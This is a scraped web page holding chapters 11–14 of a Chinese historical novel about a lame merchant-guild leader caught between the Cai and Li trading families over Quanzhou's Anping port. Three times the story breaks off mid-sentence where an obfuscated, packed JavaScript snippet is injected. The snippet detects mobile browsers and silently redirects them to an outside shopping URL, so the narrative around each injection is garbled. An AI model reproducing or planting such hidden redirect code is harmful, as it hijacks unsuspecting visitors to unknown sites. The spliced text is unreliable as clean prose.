走到廊下，只朝那婢子拱手，面上带笑：“这厢有礼。不知府上是……？” 许师孝也看了过来，泉州人情复杂，不知今夜要请她过去的人，是何方神圣。 婢子神色不动，只又拱了手：“主家是石湖城人。” 石湖城。 陈管事目光一凛，泉州石湖城扼控晋江入海口，历来是商贾云集、跑船的好地方。 这家人的来头必定不小，但他只是管个园子食宿的，园子里住进来了什么人，东院尚且能打听一二，西院那边便无从得知，那些人颇有来头，他也不好过分打听。 可许六堂住进来，是大小姐的意思，若出了变故，他是要被问责的。 陈管事看向许师孝，面上带笑：“坐春行旅堂是好，但还要问过六堂的意思……” “管事这话倒怪。”婢子截断了他，冷眼扫去：“你家不声不响地把人搁在这边角院子，如今倒要问六堂意思了？” 这话说得直，周围众人都屏了气。 几扇门里，数十道影子在窗纸上晃。 陈管事额上的汗珠滚了下来，背心一阵发凉。 这婢子言辞犀利，显然对园内格局，还有黄家与许六堂的关系，了如指掌。 许师孝也觉诧异，坐在竹椅里，抬起手，指节抵了抵眉心，倦意未散。 今日太过折腾，她也乏了： “有劳尊驾费心，只是今日天色已晚——” 婢子听这话头，以为她要辞去，面色忽黯。 陈管事舒了一口气，许五娘子到底是客人，不能拂了大小姐的面子。 刚要退下，却见许师孝缓缓坐起来，目光在对峙的两人间转了一圈，轻笑道： “不如这样吧。” 两人闻声抬头。 只听她笑道：“我人过去，东西，明早再动。也免得扰了旁人清静。” 人过去，是领了对方的请；东西留着，也给黄家留了层颜面。 婢子抬眼，看了许师孝一瞬。 没再多话，侧身退开半步，手引向灯明处： “六堂请。” 许师孝撑起竹拐，缓步下阶。 陈管事连忙抢上一步，堆起笑来，话是对许师孝说，目光却一个劲儿地往周围人扫去：“我们东院这小破庙，本来也只是给六堂落脚歇歇的。我还纳闷呢，六堂这样的人，怎么肯安安生生住在这儿？原来是早就有贵人等着了。” 围观的众人面面相觑。 许师孝没看他，撑着竹拐往前走，已经走出几步远。 陈管事又道：“六堂慢走。东院地方浅，招待不周，别往心里去。” 许师孝脚步未停。 他笑着说完，目光渐冷下来。 但觉此事要尽快报给大小姐，待人走后，他几步转身，便往前厅疾走。 “轰隆隆——” 一记沉重的雷鸣后，酝酿已久的大雨落了下来。 11. 石湖城 夜雨淅沥，打在廊桥的瓦檐上，声音琐碎。 许师孝撑着竹拐，打眼看去，廊桥两侧的灯笼亮了，照见脚下一方木板，四下被雨水润得更深。 她深吸一口气，忽见远处梁柱间悬着一块木匾，上刻三字“六胜堂”。 脚步不由一顿。 身旁的婢子瞧见了，便笑问道：“六堂可认得我们主家？” 许师孝的目光在那堂号上停留了一瞬，“六胜”取自石湖“六胜塔”，此塔于宋时所建，百年来在泉州湾主航道作航标塔，能以此为堂号…… 她沉默垂眸： “石湖城蔡家，久仰了。” 石湖城蔡家，晋江县首屈一指的大户。 粮船从上游下来，进了晋江，石湖城便是咽喉。 蔡家在此地盘踞数代，靠米粮营生起家，单是南安、惠安一带，十家米行，有七家都是他们开的，剩下三家还有他们不少的干股和利钱。 这些年，蔡家打通了一些关节，安平港左近的航运，泉州李家的“后泉堂”，也有他们一席之地。 但许师孝与他家素无往来，也不知此番缘何示好，况且，她是借着黄家人名义搬进园子，蔡家怎会这么快得到消息？ 雨，连绵不绝，四面潮热更甚。 离那堂前约有十步光景，许师孝眉头蹙起。 她的腿疾又发作了，骨头缝里似钻进一把湿冷的绵针，密密麻麻地绞着。 她低低地喘着气，身侧的婢子却未留意到，只盯着前面堂屋里的人影，像是看有无人相迎。 许师孝缓了缓，才稳住竹拐，便听得堂内几人走了出来。 那脚步又急又快，似是小跑着下了台阶。 “下着大雨，怎好这么走过来！”胳膊被人搀住。 许师孝这才抬眼看去，灯影里一张圆润的脸，眉眼熟悉。 是她在泉州的旧识——林骅姑。 她竟是忘了，林骅姑虽离了商会，但她的前东家是石湖城“宝兴号”，过去在春夏发船往吕宋，做南洋苏木生意，但“宝兴号”仅有福船六艘，蜈蚣船两艘，遇上旺季，就要与蔡家“拼艚”。 这一来二往，林骅姑与蔡家人相识，就不足为奇了。 许师孝沉下一口气，先前还疑心石湖城蔡家，何以知晓她行止，如此看来，就是她传信给林骅姑后，被透了出去。 林骅姑已转过头，看向那引路的婢子，神情严肃：“秋穗，你也是办事老成的了，六堂腿脚不便，又是这样的天气，怎不备个滑竿，唤两个妥帖的人来扶？就让六堂自己走这许多路！” 那名叫秋穗的婢子，这时全无方才在东院时的利落，只恭谨道：“林掌柜责备的是。是奴婢急着迎六堂过来，便忘了周全。” 许师孝听得“林掌柜”三个字，目光更添了然。 她与林骅姑相识有年，只知她后来改做了米粮买卖，走南闯北，很有些名声，却从不曾深究过她的东家是谁。 如今看来，她就是在为石湖城蔡家做事，且听那婢子回话的口气，地位还不低。 几人到了堂前。 堂内轩敞，灯烛点得明亮，却因雨夜的缘故，那光也吸足了水气，显得温润。 蔡家下人端上茶来，是建瓯的蜡茶，精细得很。 许师孝接了，却不饮，只抚着微烫的盏壁。 她触到了暖，心底却空落落的。 林骅姑若为叙旧，或是谈论她关心的南洋近况，便不会选在蔡家的地方，用蔡家的婢子来请她。 这哪里是她要见她，分明是代蔡家人见。 照此情形，她前番信中所言及的揣测，这位能干的老友，怕已一字不落，说与蔡家主事的人听了。 想到这里，她心下渐凉，先前在黄家那里受的气，也有些压不住。 林骅姑执壶，一面为她续了些水，一面打量着她的神色，闲闲开口：“近来李家封港，又打起赈济的旗号，开仓调米，这般大的手面，库里纵然殷实，怕也要扯出个不小的缺口来。” 许师孝眸光一顿，侧目看向她。 只见她将壶轻轻放下，又道：“封港没个定期，人心惶惶之际，米粮便最要紧。如今泉州城中已有几家米铺从散商手里收米屯积，以待来日挣一分利，我在这些事上实不大通，前日东家问起，也不知如何答话。” 许师孝静静听着，便知她是想从她这里探听消息。 商人做生意，最是要看风向，李家封港，就有人要借机哄抬米价，蔡家动了这个心思，却还拿不定主意。 她抿了一口茶，心绪烦乱，疫马的事还未了结，又有人要生出风波。 她没再看林骅姑，目光一转，无意掠过对面那架嵌云母的屏风。 烛光映在光滑的云母片上，本应是凝定不动的，此刻却微微一晃。 ——后面有人。 许师孝心下一沉，垂眼，看着盏中舒展的茶叶，笑道：“我看你是忧虑过甚了，这种关碍门户进退的大事，合该是蔡家当家人来拿主意。你那东家不过随口一问，做僚属的，还是做好分内事为宜。” 她抬头，对林骅姑微微一笑，“你说，是不是这个理？” 这一问，既像是回答林骅姑，又像是说与那屏风后面人听的。 堂内一时静了下来，只余雨声连绵。 林骅姑听了这番话，面上带笑，目光却不由得迟疑起来。 她心里原有一番计较，以为凭借自己和许六堂多年的交情，又是夤夜将人从黄家那里“救”出来，依六堂的性子，对这些关涉利害的探问，纵不明言，也会透出一两句实在话。 不想今日提及李家这桩公案，她竟滴水不漏，倒叫自己接下来预备说的话，哽在了喉头。 许师孝将她的迟疑尽收眼底，搭在竹拐上的手微微攥紧。 正当时，屏风后传来一声极轻的咳嗽。 许师孝眸色蓦然一沉。 原先的安排不济事，这便要亲自出马了么？ 她转眼看去，一位妇人扶着婢子的手，从屏风后转了出来。 四十上下的年纪，穿着遍地金通袖衫子，容长脸儿，额间勒一条珍珠眉勒，在灯下泛着润光，富贵雍容。 林骅姑一见，立刻从椅上起身，敛衽行礼：“大夫人。” 许师孝心下明了，这便是蔡家内宅的主事人，大夫人冯酉莘。 她也欲撑着竹拐站起，冯酉莘却快走了两步，到了近前，伸手虚虚一按：“六堂快不必多礼。腿上既有不便，这些虚文尽可免了。” 许师孝看向她，笑道：“夫人既在此，方才何不……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240823|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “今夜底下人办事不妥当，说是去请六堂，却让贵客在雨地里行过来，实在是我们蔡家招待不周。回头我必重重罚她。”冯酉莘接过话头，转向一旁垂手侍立的秋穗，面容沉肃。 秋穗只低下头。 她这话，借训斥婢女，将自己方才躲在屏风后窥伺的事搪塞了过去。 许师孝听在耳中，只微微欠身，道：“冯夫人言重了。雨夜清静，走走也无妨。” 冯酉莘笑了，命人重新布了茶点，又教搬了两个冰鉴来，搁在堂屋的角落。 那冰丝丝散出白气，四下也清明起来。 许师孝倚着竹拐，坐了下来。 冯酉莘在对面坐下：“不瞒六堂，我娘家原是漳州龙溪的。早年未出阁时，便听过漳州许家的声名，心里常是敬慕的。” “如今这南安城里，因着李黄两家的事，闹得风声鹤唳。城中好些粮铺，米价已暗暗涨了两成。我们蔡家虽有些根基，族里几位老尊长，却也拿不出个稳妥的主意。” “六堂刚从黄家会馆出来，两边的关节，再没有比您更清楚的了。” 许师孝听了，似笑非笑：“我与李家早有过节，冯夫人来问我，就不怕我借机报复？” 冯酉莘像是早料到此说，神色端然：“八闽商会自起家，坐镇同炉堂的人，凡十三位，但能把“六堂”名号叫得震天响，却只有许六堂一人，这等声名，岂是财帛可及？” 许师孝默然不语，只垂眼望着盏底的茶。 冯酉莘此人，很会说话，如果她一来便开门见山，那她一定知无不言言无不尽。 但先前遣人套话的把戏，实在让人不舒服。 半晌，她轻叹了口气：“承蒙夫人看重。只是我初来乍到，蔡家的家务事，实在不宜妄言。” 冯酉莘见她语意坚决，就知道方才那番话，未能消去芥蒂。 堂外蝉声嘶鸣，乱如沸粥。 许师孝听着这片喧嚣，竹拐一点地面，便要起身。 “阿孝——” 林骅姑情急之下唤出旧称，伸手欲拦。 许师孝却已侧身避开，竹拐轻移。 她起步很缓，一步，一步，朝着门外的雨声与蝉噪走去，背影浸透了秋霜般的疏淡，决意如磐石。 “六堂留步。” 冯酉莘的声音自身后追来。 许师孝恍若未闻，步履未顿。 冯酉莘蓦然起身，对着那即将踏入雨中的背影，一字一顿，掷地有声： “方才是我冒昧。蔡家的事，六堂不屑过问，那‘海通派’的旧事，六堂也不屑……” 话音未落—— 许师孝身形一凝，一直托着竹拐的手猝然绷紧，苍白如骨。 那是八年前，漳州圭海堂。 她跪在冰冷的砖地上，膝下凉意透骨。 许朝京身后“八闽同宗”的匾额已经发暗，堂外天井，雨水溅起白茫茫水雾，尸首横陈其间，雨水从他们僵硬的肢体上流过，汇成一片血海。 “你要记住，”许朝京没有看她，目光落在那些再听不见声音的尸首上，“八闽商会，没有海通派。” 她这时回身，眸中温润闲散顷刻褪尽，余下两点寒星，直望向堂下的冯酉莘： “‘海通’这个名字，你从何处听来？” 12. 安平港 夏末的风，又闷又潮。 送走了人，林骅姑便往堂中走回去。 灯影闪烁，隔着十步，看见门内，冯夫人还坐在原位，像是僵坐了许久。 她迈过门槛，见冰鉴里涌出的白气低了许多，忙吩咐秋穗添些，又看向冯酉莘。 “夫人，六堂的话可信吗？” 冯酉莘微微抬眼，见她一脸的迟疑，不由笑了：“人是你引荐的，如今倒问起我来了。” 林骅姑被说得有些尴尬，只笑道：“许六堂把事情说得太全，听着让人害怕。李家设局，瓮中捉鳖，这样的手段，怎么也不像是会让旁人知晓的，更何况，六堂与李家仇怨颇深，李家人更不可能叫她知道。” 冯酉莘目色微沉，她确有怀疑，但许师孝说出这番话，无疑是不教他们在此时生乱，给李家找麻烦。 许师孝与他们有仇，却帮着仇人说话，可见这话是越过了恩怨，为公道而讲。 用人不疑，疑人不用。 更何况许师孝是出了名的重义之人。 “她所言，应当不假。” 林骅姑见她笃定，便坐了下来，想起方才的情形，心有余悸：“阿孝到底是头回来蔡家，夫人便将这些年咱们与安平港几笔出了岔子的生意，都说与她听，是非贸然了……” 虽然她知道，冯夫人这么做，是为了取信于许师孝，但如今南安形势复杂，潮州帮已然冒头，将自家的经营和盘托出，也是将自己暴露在旁人的刀刃下。 冯酉莘望着灯火，沉默一瞬：“不说这些，她绝不会相信李家与‘海通’有勾连。” 那可是泉州李家，八闽商会三柱之一，打从嘉靖年便盘踞于此。 李家在闽海的声名，谁人不晓？ 谁会相信他们与外洋勾结，当起了买办，坑害泉州本地的商贾百姓？ 要将这样的庞然大物推倒，不用些非常之手段，断不能成事。 “这件事情最好的结果，就是由商会出面，李家退出安平港，我们取而代之；差一点，将安平港中混入‘海通’的事传扬出去，也足够扒掉他们一层皮……” · “你要去安平港？” 陈老猛地从竹榻上坐起来，看向对面淡定喝茶的许师孝。 茶冼、水铫随意摆在几上，她放下盏子，瞧见陈老凝重的神色，刚要解释什么，又被他厉声打断：“你可知道，当年安平港一场暴乱，死了多少人？现在这件事还是桩悬案，不光是李家，就是港口上跑船的那些人，都还把这笔账，算在你的头上！” “你到那儿去，不就是自寻死路？！” 许师孝看他急得跳脚，将茶放在他面前，温声提醒： “陈老，隔墙有耳。” 陈宗朴目光微怔，想到如今还在蔡家人的地盘，这才收敛了情绪。 两人现坐在春山行旅堂假山后的一间竹篱精舍。 此地极西，靠近车马喧腾的官道，风过竹梢，沙沙声不绝，间或还有一两声辽远的梆子荡来，听得陈宗朴背上起了寒意。 他抿了口茶，味甘，口中却苦涩非常。 安平港是李家命脉，货仓、船坞、钱柜皆聚于此。 当年沿海飓风，海获惨淡，幕后之人趁机挑动码头民众对李家的不满，又选在货船抵港、货物交割的日期，煽动械斗，先伪装潮州帮袭击码头，再纵火烧毁李家货栈。 刀兵汹汹，物议云沸。 若非李家的部曲及时到场，恐怕整个泉州的天都要翻了过来。 回忆往事，他无奈地叹了口气，看向许师孝，语气沉沉，“如今陈彝下落不明，你说不清的。” 陈彝，是许师孝在同炉堂的副手，当年他煽动暴乱，又人间蒸发，便让许师孝背下了这口锅。 暴乱之后，陈宗朴愧疚非常，只因陈彝是他的子侄，也是他一手举荐到许师孝身边的。 而今祸从子侄起，他便觉得，是自己害了许师孝。 许师孝看着他黯淡的神色，宽慰道：“这件事本也说不清，我也没想着能够说清。但若李家真的勾结‘海通’……” “他们沾不沾‘海通’与你何干？” 陈宗朴目光一凛，忍不住打断了她，“好不容易过几年安生日子，李家三爷把你揪进黄家的生意里，就是不想你好过！现下趁着事情还不到不可收拾的地步，六堂，你听我一句劝，收拾东西回惠安，再不然，就是回漳州！” 许师孝沉默一瞬：“我是以为，倘若李家真的有鬼，那黄家在苏门答腊的生意就有的说了。” 陈宗朴拿盏的手一顿，明明要探李家究竟，怎么又牵扯上黄家了。 许师孝对上他疑惑的目光，沉声道：“听蔡家人话头，从安平港作保的生意出事，已经不是头一遭了。而此番李家嫡系亲自作保，却连苏门答腊盖着双方印鉴的议本都没看明白，他们贸然接茬，留下这么大的纰漏，若说其中没点猫腻，我绝不相信。” “既是如此，更不该去！” 陈宗朴望着窗外浓密的阴云，深深地吸了一口气，“如今李黄两家闹成这个样子，你与黄家有旧，又与李家结仇，这个节骨眼去到安平港，人家会怎么想？” 他越说越急，干脆站了起来，“况且，眼下也不见得是什么好时候，李老爷子头疾发作离泉休养，港口都交由李家三爷一手把控，那李廷勘是什么人？！何等心狠手辣！” “昔年，朝廷围剿浯屿岛的传闻四起，人心惶惶。” “岛上掌舵的陈邬伺机勾结葡萄牙商人，密谋挟持李三爷，企图控制其麾下福船，以船上满载的银锭、生丝，向福建水师投诚，以求苟安。” “谁料次日晨起，陈邬不知哪里露了声色，李廷勘不待其辩解，即令部曲将其拿下，斩于船头，首级悬挂主桅，又下令火炮对准克拉克帆船，扣下了葡萄牙商人全船货物！” “等等。” 许师孝抬手止住，诧异地看了他一眼，“这些话，您也用不着同我说吧？” 陈宗朴怔了一下，随即叹了口气，慢慢坐回竹榻上。 他真是急昏了头，差点忘了，这二位其实算得上发小，七岁时就一同上了去班达海的船，在几度封锁下潜逃。 不过当时“赫克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240824|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托号”上几百号船员，他也难以判断，他二人究竟有无深交。 许师孝不知他所想，但事关黄家生意，甚至是整个八闽商会，她断不能袖手。 茶烟袅袅，在她沉静的眉眼间绕过，又散。 听她长久不言，陈宗朴抬起眼皮看过来：“你打定主意了？” 许师孝对上他眼眸，目光已定。 “唉……”他长长叹出口气，既打定了主意，他这老头子多说也无益。 可她打算怎么混进去？ 凭漳州许氏的名头，给海防同知递帖，做个赞画，或者在安平港弄个收“水饷”的工房书吏的闲职，不成难事。 “可李三爷又不是不认识你，即便你得了差遣，他能让你沾手往来生意？” “更何况朝廷派去的人，在李家的安平港，恐怕是说不上什么话的。” 许师孝微微笑了笑，“所以，还得请您襄助。” “我？”陈宗朴摇头，花白的胡子也跟着颤，“我能帮你什么？老朽如今就是个守着戏台子的闲人，安平港后泉堂里挂个名罢了。人李三爷眼里，怕早没我这号人物了。” “您老过谦了。” 许师孝抿了口茶，笑着看向他，“记得当年，郑伯还是会首，遣您来泉，您在后泉堂守了足足十四年，从度支到船务，披肝沥胆，上上下下，谁敢不给您面子？那一年，外商在祥芝登港，垄断生丝买卖，您一个晚上就跑遍了半个泉州，劝服各家收货，可谓一呼百应。” 陈宗朴目光微动，端起茶挡在面前，被夸得有些不好意思。 许师孝笑了笑，按着一块湿布将烧开的茶壶取下，接着道：“陈老在安平港，拥众如云。我听闻，如今安平港今年的值年纲首，就是您的族弟陈炳台。” 陈炳台？ 陈宗朴猛然蹙眉，有些难以置信，“炳台……做了纲首，有这回事？” “您不知道？” 陈宗朴有些尴尬看了她一眼，无奈摇头。 这怪只怪商会那些人，想一出是一出，原先以商会六堂的话事人组“镇海会”，来定各港口事宜，后来召集本地商人，推举纲首，再后来，又弄出个“值年纲首”。 此间人事，一年比一年复杂。 他离开安平港已经有些年头，现今让他回去转一圈，恐怕连东南西北都分不清。 可…… 同为离开商会、远遁江湖之人，六堂是怎么知道的？ 她甚至连今年轮值的纲首，都一清二楚。 陈宗朴目光微沉，摩挲着茶盏，看向她：“六堂这些年在惠安，倒是把安平港的事摸得透彻。” 许师孝眸光微动，笑道：“我那万安栈，您也去过，白日里什么人都有，我家伙计又爱说小话，跟个包打听似的，这一来二去，想不知道也难。” 陈宗朴闻言，深吸一口气，看她这样子，怕是早就想好下一步的打算了。 事已至此，他也只能舍命陪君子。 他放下茶盏，苍老的手重重拍在膝上，抬眼： “纲首之下，六栈一巡检，你是怎么个打算？” 13. 晋江 这回，怕有不少人要遭殃了。…… 大雨连天。 卯时初刻，一架乌蓬马车出了南安县城向北，走在金溪的小石桥上。 雨天水涨，四下潺潺有声。 许师孝睁眼，向外望去，马车已经过了潘山镇渡口，再前面，就是紧邻晋江的九日山。 此刻雨势浩大，雨中有朦胧山影，却也不知道，是不是九日山。 “这般大雨，”坐在对面的陈宗朴搁下碗，望了过来，“就算到了晋江的安平港，如今还是封港，货栈紧闭，来往的账目文牒，怕也未必能轻易见到。这一去，只怕要有些日子了。” 许师孝自知进安平港查李家事，绝非一日之功，也对今后的情形有所预料。 她眼下担心的，还是身份的事：“保商栈的差遣，到底是怎么说的？” 保商栈，顾名思义，在“六栈一巡检”中，专管保人之事，连同商民登记、连坐担保、争端调停，皆有权知。 而黄家、蔡家的几笔由安平港作保的买卖，都出了纰漏，许师孝便料定，此处关节必有猫腻。 陈宗朴叹了口气：“原想，保商栈的一栈、二栈，最是要紧，进出数目都在那儿。可眼下，这两处都是李家老爷子和四老爷的人把着。不过，倒也不是进不去，怕就怕你到了那里，冷不伶仃要撞上李三爷，莅时场面难看。” 陈老说得委婉，场面何止难看？ 倘若李三爷知道六堂混进了保商栈，怕是要把上上下下的人，都给撸一遍。 届时，恐怕整个安平港，都不得安生…… “我使人打听了，四栈倒是有个缺。只是委屈您了，只是个二柜，管管零碎进出，恐怕见不到什么大关节。” 许师孝点了点头，有这个结果，已经很好了。 “劳您费心了。”她看了他一眼，端起粥碗，小口小口地喝着，喉间吞咽得很慢。 陈宗朴看着，心里叹了口气，今早便听她低咳了几声，如今出来，还要受这舟车劳顿。 “六堂何苦赶早？那边横竖封着港，晚几日去，也是一样的。” 许师孝喝完了粥，将碗轻轻放回几上，笑道：“头一天到任，总得拜会一下几位上峰，礼数上不能缺了。” 陈宗朴听了，先是一怔，随即“嗤”地一声笑了出来。 他抬眼瞅着许师孝，眼里带着几分调侃，几分深意： “六堂啊六堂，都是逢场作戏，您可别真把自个儿当成那保商栈的二柜了。” 许师孝看他展颜，平淡一笑。 这些年她经营万安栈，是混过一天算一天。 无论是茶栈，还是货栈，都不是她真正想做的事。 不是真正想做的事，为了生计而做，有些人兴许能做好，可放到她这个人身上，只能惨淡经营。 此番，借着这股东风，倘若真能回到港口上，哪怕是做个二柜，她也算得偿所愿。 许师孝深吸一口气，转眼望向窗外。 大雨茫茫，山路迢迢。 此地距离晋江主城，还有五六里。 夏末秋初，年已过半，每年这个时候，泉州各家都要盘账。 泉州李家的账，更是在半月前便从六县装车，陆续送往晋江城。 雨水，越过两人高的风火墙，落进了空旷的堂下。 堂极大，深广得有些寂寥。 侍从托着茶盘，脚步轻悄，快步走来，目光却不由得被那一片乌压压的影子攫了去——后渚、安平、深沪、崇武、蚶江、永宁、围头，泉州七大港的主事人，已经坐了满堂。 他们或端直，或侧身，衣衫上似还带着码头吹来的风，此刻却都敛在静默里。 李廷勘坐在主座上，手里拢着一只盖碗，指节有一下没一下地摩挲着碗沿。 才听完了几位主事人的账，他抬眼，又望了过去。 “杜巢，安平港作保，上月替石湖城孙家走的那笔货——暹罗的锡锭，并二百包胡椒，船是七月初三从安平报的关，账目上‘货色两清，保银入讫’，你可有印象？” 杜巢心下早已紧绷，除却后渚，安平可算第一大港，平素李老爷子在时，都是先过问他们这里，此番李三爷竟把自己留到最后，这显然不是什么好兆头。 他站起来，躬身一礼。 李廷勘看过去，只见他面容沉肃，一身赭红色衣袍倒是富贵有余。 “三爷明鉴，孙家是老主顾，货是暹罗旧港‘兴隆栈’的底单，船是孙家自己的，沿途停靠、税引、保结，都是专人验过，孙家归档时，也未说什么。” “既是如此，那我倒有几处闲笔，与你参详参详。” 李廷勘将册子搁在案上，身体微微后仰。 “暹罗的锡，大宗出在洛坤、北大年两府。六月正是雨季，山里矿坑多塌方，水道也常泛滥。旧港的‘兴隆栈’，往年时节，收上来的锡锭不过常年的三成。孙家这一船，账上记着足足两千斤。他家的路子，竟比暹罗王商的采办还硬么？” 杜巢面上带笑：“这……兴许是往年存下的陈货？” “这便是其二了。”李廷勘接着道：“若是陈货，锡锭久存，面必生‘锡锈’。可月前孙家小少爷满月，我曾派底下人去打过照面，他家的锡锭，断口亮白，分明是新近出炉的货色。” 杜巢脸色有些发白，强笑道：“许是……许是今年兴隆栈开了新矿源，也未可知。” 李廷勘点点头，似在赞同，却又抛出一句： “好，就算有新矿。那二百包胡椒呢？暹罗胡椒，五月末、六月初才上市。七月在旧港能收的，应是旧货。” “可这账上只记‘二百包，每包百斤’，却没写新旧。若是新椒，按湿重算，二百包晒干了，实则只有一万四千斤干椒的货，却按两万斤的价保了；若是旧椒，价码又不同。这里头的差额，保银可是按货值抽成的！” “安平港的账房，连本行当最要紧的‘新’、‘陈’二字，都忘了问么？” 他每说一句，杜巢的脸色就灰一分。 厅堂里静极了，在座几位港口主事面面相觑，屏息静气。 今年，李老爷子离泉休养，李家当家人变了。 李三爷坐在后泉堂上首，当然要杀鸡儆猴，借着夏末盘账的机会，对下先行立威。 偏这个杜巢，担着安平港天大的干系，还看不清形势，在此时触了霉头。 真是安乐日子过久了，失了体统。 俗云：大丹自古宜长守，一失原来到底亏。 只是不知这回，李三爷要如何处置？ 众人各自悻悻，收回目光，看向了上首之人。 李廷勘的眼神清冷如刃：“杜巢，孙家的货，怕不是走了一趟暹罗。那锡，我倒疑心是就近从吕宋的华人熔炉里出来的；胡椒，或许是去年屯在占城的陈货，在海上并了船，换了单。” 他冷眼看向他，声音愈沉： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240825|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这等‘漂货’，风险几何，你该清楚。” “安平港的招牌，再让你办下去，恐不只是蒙尘，而要惹得天怒人怨了。” “三爷！” 杜巢早已汗透重衣，深深一揖到地，声音干涩发颤：“卑职玩忽职守，但却真的不知，为何账目上会出这样大的纰漏！等……等我回去，一定把经手的人全抓过来，交由三爷处置！” 李廷勘不再言语，只挥了挥手。 杜巢猛地一怔，他绝不相信！他可是老爷子一手提拔上来的人，在安平港扎根了十数年，李廷勘根基未稳，就敢动他？ 可下一瞬，两名部曲从身后围了上来，牵制住手脚。 他怒目圆睁，刚要喊，就被堵住喉咙，往厅堂外拖去。 · 堂议散后，执事们陆续起身，往外间迷蒙的雨里走去。 淙老坐在原位，等众人离去，看了过来，忧心忡忡道：“三爷，杜巢既已革职，安平港不可一日无主。您看，是后泉堂这边直接委一位得力人手过去，还是依照旧例，从七港的执事班子里，轮补一位？” 李廷勘的目光从雨幕收回，落在淙老脸上：“今年的纲首，轮到谁了？” 淙老会意：“回三爷，是陈家的炳台公。” “陈炳台……”李廷勘眸色渐深。 陈家在泉州是百年大族，根基深厚。 陈老本人也年过半百，在泉州人脉极广，其为人谨小慎微，虽做不出什么改天换地的大事，但也不至于与一些人同流合污。 “由他去安平港暂摄，倒也压得住阵脚。” 淙老微微颔首，此人的确是个妥当的人选，不过……他摩挲着袖口，脸上浮起一丝欲言又止的神色。 “淙叔，有话直说。”李廷勘见他不接话，看了过来。 淙老略一点头，目光有些复杂：“说起陈老，昨日倒有一事，不知当禀不当禀。” 李廷勘沉默一瞬，听这话头，陈炳台年逾半百，难道还干出了什么出格的事？ “讲。” “昨夜，他府上递来一封书信，是保商栈那边，四栈的二柜出了缺，陈老荐了个人来。” 李廷勘目光微凝：“他荐了个什么人？” “说是远房侄女，叫荀泾。” 李廷勘目光微怔：“‘荀’这个姓，倒是少见。” 淙老点头，泉州本地，没有姓荀的大户，这人，多半也不是泉州本地人，更可能是从外地赶来投亲的。 他干脆把话说得更明白些，“安平港‘六栈一巡检’，像保商栈、梁头栈的一栈二栈，是重地，用人要经过后泉堂。而四栈五栈，位置就不那么要紧了。一些闲职上，各家往里头荐些亲戚子侄，吃一份例钱，也是常有的事。” 李廷勘静默了片刻：“他荐来的人，何时能到？” “信上没说。” 淙老顿了顿，“不过，那人并不在晋江城内。今日这般大雨，路途难行，也未必能赶过来。” 李廷勘听了，端起茶盏，目光转向堂外滂沱的雨： “倘若今日不来，那她就不用来了。” 他语气冷肃，听得淙老心头一凛。 眼下到底不是老爷子执事的时候了，三爷对这些“吃空饷”的腌臜事，容忍度极低。 这回，怕有不少人要遭殃了。 他深深低下头：“是，这便吩咐下去。” 14. 港署 晌午时分，马车终于到了港署门前。 竹帘打起，许师孝躬身下车。 三个时辰颠簸，骨头像散了架。 她撑着竹拐下来，抬头看去，安平港门楼高耸在前，雨后瓦色深灰，天光晦暗，却还能看清匾上题的四个石绿色大字——“海疆锁钥”。 陈炳台已走到阶前。 想起兄长嘱托，他又停步回身，看向后面的许师孝。 许师孝来前已改头换面，只是这次的脸画得格外白。 落在陈炳台眼里，不禁轻叹。 不过赶了几个时辰的路，这年轻人就脸色惨白，必定是个娇生惯养的主。 兄长信里说她读过些书，也会看账，可港署不是书院，这里要的是能扛事的人。一个初出茅庐娇养长大的后辈，又是女子，兄长还执意要他关照…… 陈炳台心下略感疲惫，面上仍温和地看过来：“这个时辰公厨正放饭，荀娘子可要随老夫去用些？” 许师孝点了点头，她确实饿了。 两人一前一后进了门。 陈炳台步履从容，并不刻意等她，过了二门，假山后传来人声，西边执事堂的灯火已亮了起来，光影摇晃。 陈炳台略松了口气，杜执事在馆中就好，总算没有白跑一趟。 许师孝却蹙起眉，看见几处桥上，有不少人匆匆进出，大多抱账册、抬箱篓，步履轻疾，彼此间也少交谈。 乱中有静，有些古怪。 她目光微凝，停下了脚步，伸手拦下一个青衣小吏。 “这位小哥，”她看向他，“港里今日，是为何事忙碌？” 那小吏被她拦住，见是个生面孔，神情惶惑，余光却又瞟到一旁的陈炳台，赶忙躬身：“回……回陈纲首，是后泉堂来查半年账，小的们奉命协理。” 说罢，又匆匆一礼，急急地走了。 许师孝望着他背影消失在廊柱后，眸色更深。 查账？ 安平港这样的地方，查账早不是头一遭，何至于此？ 陈炳台听她与那小吏一问，才忽觉惊疑。 目光掠过四周，这忙乱里透着的紧绷，哪里像核账，倒像是出了什么捅破天的大事…… 想到今年安平港生意上的差错，他心下的不安竟变得具体起来。 